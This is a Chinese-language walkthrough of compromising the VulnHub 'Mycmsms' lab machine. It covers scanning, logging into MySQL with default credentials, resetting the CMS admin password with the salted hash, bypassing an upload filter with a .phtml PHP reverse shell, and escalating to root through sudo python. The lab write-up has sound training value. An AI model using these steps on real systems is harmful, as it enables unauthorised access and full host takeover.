vulnhub打靶记录——Mycmsms

文章目录

一、环境布置

靶机在virtualbox中搭建,攻击机使用vmware中安装的kali,主要是解决kali能ping通靶机,同时能访问外网。

解决方法;VirtualBox(Host only)和VMware共用同一虚拟网卡

需要注意的是靶机IP怎么获取?开启靶机后,靶机会自动显示ip地址。

192.168.56.1并不是靶机的ip地址,而是主机(本机,物理机)在该局域网下的IP地址,同时需要启用DHCP服务器来让kali再该封闭式局域网(only-host)中获取一个IP地址。

在该host模式的局域网下,主机(192.168.56.1)可以ping通靶机(192.168.56.103)和kali(192.168.56.101),但是kali(192.168.56.101)不能ping通主机(192.168.56.1)。


故所有设备IP(Only-host)如下:

  • 靶机IP:192.168.56.103
  • kaliIP:192.168.56.101

主机发现

也可以用nmap进行主机发现,主要是对only-host模式下的局域网进行主机发现,命令如下:

bash 复制代码
nmap -sP 192.168.56.0/24 # 对192.168.56网段进行扫描
  • 192.168.56.1:主机IP;
  • 192.168.56.100:DHCP服务器IP;
  • 192.168.56.101:Kali IP;
  • 192.168.56.103:靶机IP。

二、端口扫描

bash 复制代码
nmap -p- -sV -A 192.168.56.103

-p-:代表扫描所有端口,从1-65535,默认进行TCP扫描;
-sV:探测服务/版本信息;
-A:启动OS检测,版本检测,脚本扫描和traceroute。简单来说,输出更加详细的日志信息

没有-A参数的扫描结果,也就是命令nmap -p- -sV 192.168.56.103

整理出nmap扫描的重要信息,并保存到scan.txt

这里可以看到该靶机开放了ssh服务(22端口)、web服务(80端口)、mysql数据库服务(3306).

针对80端口的web渗透,通常:

  • 使用nikto进行基本的漏洞探测;
  • 目录扫描,发现更多网站路径。

nikto基本探测

使用nikto对web服务做基本的探测,命令如下:

bash 复制代码
	nikto -host http://192.168.56.103

扫描结果如下,nikto除了检测漏洞信息,也有进行目录扫描(如扫出./phpinfo.php、./config.php等)。

一般情况下,phpinfo.php是不会被看到的,在某些src平台泄露phpinfo甚至算低危漏洞。

目录扫描

目录扫描,命令如下:

bash 复制代码
	dirsearch -u http://192.168.56.103 -w ./directory-list-2.3-medium.txt -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

-w:爆破所用字典的位置,包含多个字典可用,分割,字典使用SeclLists
-e:站点文件类型列表,如php、js、html等。

扫描结果如下:

发现用dirsearch默认的字典跑出来结果还多些,真是栓Q~

简单说一下http状态码的含义:

  • 2XX:成功状态,表明客户端的请求已经被服务器端成功接收并正确解析。200表示请求成功
  • 3XX:重定向,表示客户端需要采取更进一步的行动来完成请求。301代表永久重定向
  • 4XX:客户端错误,表示客户端的请求存在错误,导致服务器无法处理。401表示需要身份验证,403表示禁止访问

打开http://192.168.56.103/phpmyadmin,发现需要登录,这里可以尝试弱口令爆破 ,先不尝试,看看后面有啥

打开http://192.168.56.103/config.php发现空白,可以尝试用命令行访问是不是真的空白,命令如下:curl -i -L http://192.168.56.103/config.php

-i:打印出服务器回应的 HTTP 标头。
-L:会让 HTTP 请求跟随服务器的重定向。curl默认不会跟随重定向。


打开http://192.168.56.103/config.php尝试SQL注入 ,使用万能密码登录。发现不行,过滤符号😖😖😖

不过,这里可以发现该网站使用CMS搭建,CMS版本为CMS Made Simple😆😆😆

CMS EXP搜索

知道了CMS,就可以用searchsploit去找该CMS是否有漏洞,命令如下:

bash 复制代码
searchsploit cms made simple

searchsploit是一个用于Exploit-DB的命令行搜索工具,就是kali本地会有一个漏洞库,漏洞库里的数据来自Exploit-DB,searchsploit是漏洞搜索脚本。

目前CMS版本未知,只能挨个去尝试,重点关注RCE漏洞。这里尝试使用2.1.6 Remote Code Execution

bash 复制代码
searchsploit -m 44192.txt # exp复制到单独的文件夹

该exp需要访问/cms文件夹,网站都没这个目录,不太行,再尝试别的。网站这块搞不定了,只能到这儿了,换下别的思路😅😅😅

探查mysql数据库

当详细输出下面这类信息的时候,说明mysql允许远程连接mysql数据库

尝试弱口令和默认用户名密码来连接mysql数据库~,命令如下:

bash 复制代码
mysql -h 192.168.56.103 -uroot -p # 尝试空密码、root密码

用户名和密码都是root☺️☺️☺️

cms_users中发现了后台用户名、密码(经过MD5加密,32位),尝试暴力破解 ,发现不行😒😒😒。可以继续尝试更新admin用户的密码

bash 复制代码
echo -n 123456 | md5sum # 计算123456的MD5值

//update命令用法
update table_name set column1 = value1 where condition;
update cms_users set password = '<md5值>' where username = 'admin'; # 实际环境中最好不要使用update命令 
  • echo -n:表示不换行输出,默认会将\n(换行符)送给下一个命令;
  • 管道符|A | B表示命令A的结果为命令B的输入。

回到http://192.168.56.103/config.php,使用更新后的密码进行登陆,发现登录不成功,G

登录不成功有以下几个原因:

  1. 使用的算法不是MD5;
  2. 对密码进行了特殊处理。

接下来,去找CMS Made Simple的源码,分析加密方法。cms源码下载

trunk文件夹包含代码主干信息。

CMS代码审计

要想知道cms是怎样对明文进行加密的,我们需要找到登录时候的代码,在这个cms中就是login.php。大概看下逻辑,如下图,如果登录取消就怎么怎么样,如果登录提交就怎么怎么,重点就是else if后面的代码,首先是判断post传参中的usernamepassword,如果存在就赋值给$username$password,认证代码肯定是调用的外部函数,再加上相关注释,验证代码应该在LoadUserByUsername中。

LoadUserByUsername中,当password != ''时,在password前面拼接了一段字符串,再进行md5加密。

找到get_site_preference()函数,发现是调用cms_siteprefs中的静态方法get来得到那串字符串。

cms_siteprefs::get中的::代表调用静态方法。

转到cms_siteprefsget方法,以当前类为参数去调用global::get,大概意思应该是在全局缓存中以当前类名为参数进行查询,$prefs[$key]不为空,就返回$prefs[$key],否则就返回空。

转到global::get,根据return的值,可以发现最终返回的是$_cache中的内容,而$_cache的值是来自于$_type。而$_type是通过函数add_cachable()来获得的。

cms_siteprefssetup方法中调用了global_cacheadd_cachable方法,大致意思就是变量$obj的值来源于静态方法readread方法是执行了SQL语句来获取相关内容并赋值给变量$_prefs。总的来说,我们需要的$prefs[$key]来源于这个SQL语句的结果

根据SQL语句,查询的表名应该是带有site_prefs字符串的表名,可以看到数据库中只有cms_siteptrefs这个表。

mysql 复制代码
show create table cms_siteprefs; # 查看表的创建过程
desc cms_siteprefs; # 查看表的结构

我们需要的$prefs[$key]这个值,$prefs来源于cms_prefs这个表,而$key='sitemask',然后根据$_prefs[$row['sitepref_name']] = $row['sitepref_value'];,可以推测出sitemask应该归属于列名sitepref_name,故构造SQL语句:

mysql 复制代码
select * from cms_siteprefs where sitepref_name='sitemask';

芜湖~,拼接上这个值再进行md5加密就可以更改管理员密码了

bash 复制代码
echo -n <值> | md5sum # 计算123456的MD5值

//update命令用法
update table_name set column1 = value1 where condition;
update cms_users set password = '<md5值>' where username = 'admin'; # 实际环境中最好不要使用update命令 


使用密码登录CMS后台~

CMS后台

渗透测试的目标是登录远程主机,并且获得root权限 ,目前只是获得了web服务的权限。在后台重点找文件上传点 。文件上传的目的是上传一个恶意脚本,来拿下这台主机,来达到一个效果:我们在本地输入命令,终端会执行输入的命令(也就是将终端的conmand reverse 到本地)。那么上传什么样的脚本呢?该脚本的功能就是将终端的命令行能reverse到本地。找一个php reverse脚本:php-reverse-shell,可以使用git clone命令进行脚本下载。

bash 复制代码
:set number # vim中对每一行添加行号
# 更改ip和端口
$ip = '192.168.56.101';
$port = '4444';

在这个上传点进行文件上传,上传php-reverse-shell.php这个脚本,发现不成功。文件上传失败的原因有:可能限制后缀名。这里就需要使用一些绕过技巧~

在php开发中,纯php代码的文件后缀一般是.php,纯html代码的文件后缀一般为.html,php代码和html代码混合的文件后缀一般为.phtml

这里可以试着将原文件的后缀.php改为.phtml再上传,上传成功~

监听本地4444端口,浏览器执行上传的shell文件,反弹shell。

bash 复制代码
nc -nlvp 4444

-n:直接使用IP地址,而不通过域名服务器;
-l:llisten,监听模式;
-v:显示指令执行过程;
-p:port,端口。

权限提升

登录到主机后,做以下事情:

1、 到home目录下看有哪些用户有自己的目录,即,哪些用户能登录该主机;

bash 复制代码
ls -al; # l代表以列表的形式进行输出;a查看隐藏文件

这里只是发现binary.sh是一个具备SUID权限的程序,简单来说就是,所有用户均可执行具备SUID权限的程序,在执行过程中,执行者将拥有程序所有者的权限

2、搜索具备SUID权限的程序,命令如下:

bash 复制代码
find / -perm -u=s -type f 2>/dev/null

find语法:find [path] [expression]
-perm:按照文件权限来查找文件。
-type:按文件类型查找,可以是 f(普通文件)、d(目录)、l(符号链接)等。
2>/dev/null: 错误输出不显示在屏幕上

这里发现了这么多Set UID的文件,可以尝试sudo提权。(还不太理解,先看别人怎么做~)

bash 复制代码
cd /var/www/html/admin # 进入网站的admin文件夹下
ls -al # 查看该文件夹下的所有文件,发现一个带有password的隐藏文件
bash 复制代码
cat .htpasswd
echo '<值>' | base64 -d # 对值进行解码,-d就是解码,不要-d就是base64加密

看到字符串中含有大小写字母、=,可能是经过了base64编码。

这里获取到了armour用户的密码。当拿到一个用户名和密码登录到系统的时候,第一件事是看这个用户有没有sudo的权限!

bash 复制代码
su armour # 变更用户为armour
sudo -l # 查看当前用户的权限,主要就是看该用户在运行某个脚本时能不能以root用户去运行。
sudo -i # 使当前用户长时间拥有root用户权限

可以发现,当前armour用户当使用sudo执行python脚本时,会以root权限运行且无密码。那么可以使用python来获取root用户的shell反弹Shell升级为交互式Shellpython

bash 复制代码
sudo python -c 'import os;os.system("/bin/bash")' # 获取普通shell
sudo python -c 'import pty; pty.spawn("/bin/bash")'  # 获取半交互式shell

# 获取交互式shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
$ stty raw -echo
$ fg
$ reset
$ export SHELL=bash
//$ export TERM=xterm-256color

最后拿到flag,所有的flag都在/root/proof.txt

相关推荐
见青..4 小时前
phpMyAdmin权限提升
web安全·网络安全·phpmyadmin
数据知道6 小时前
邮件安全实战:SPF/DKIM/DMARC 配置与钓鱼绕过
网络·安全·web安全·网络安全·邮件安全
世界尽头与你9 小时前
Android Root 检测原理
android·安全·网络安全·渗透测试
kp000009 小时前
如何平衡模型输出的“有用性”和“安全性
人工智能·安全·网络安全·信息安全·ai安全
世界尽头与你11 小时前
iOS 越狱检测原理
安全·网络安全·ios·信息安全·渗透测试
kp000001 天前
大模型输出造成信息泄露类型
人工智能·网络安全·信息安全·ai安全
kp000001 天前
System Prompt Leakage(系统提示词泄露)及安全防御
网络·安全·网络安全·信息安全·prompt·ai安全
X7x51 天前
攻防对抗的结构化思维:深度拆解网络杀伤链(Kill Chain)与现代防御演进
网络安全·网络攻击模型·安全架构·网络杀伤链·kill chain
kp000001 天前
AI大模型,如何区分善意提问与Prompt注入攻击
人工智能·网络安全·信息安全·prompt·ai安全
kp000001 天前
AI系统输入安全基线
人工智能·安全·网络安全·信息安全·ai安全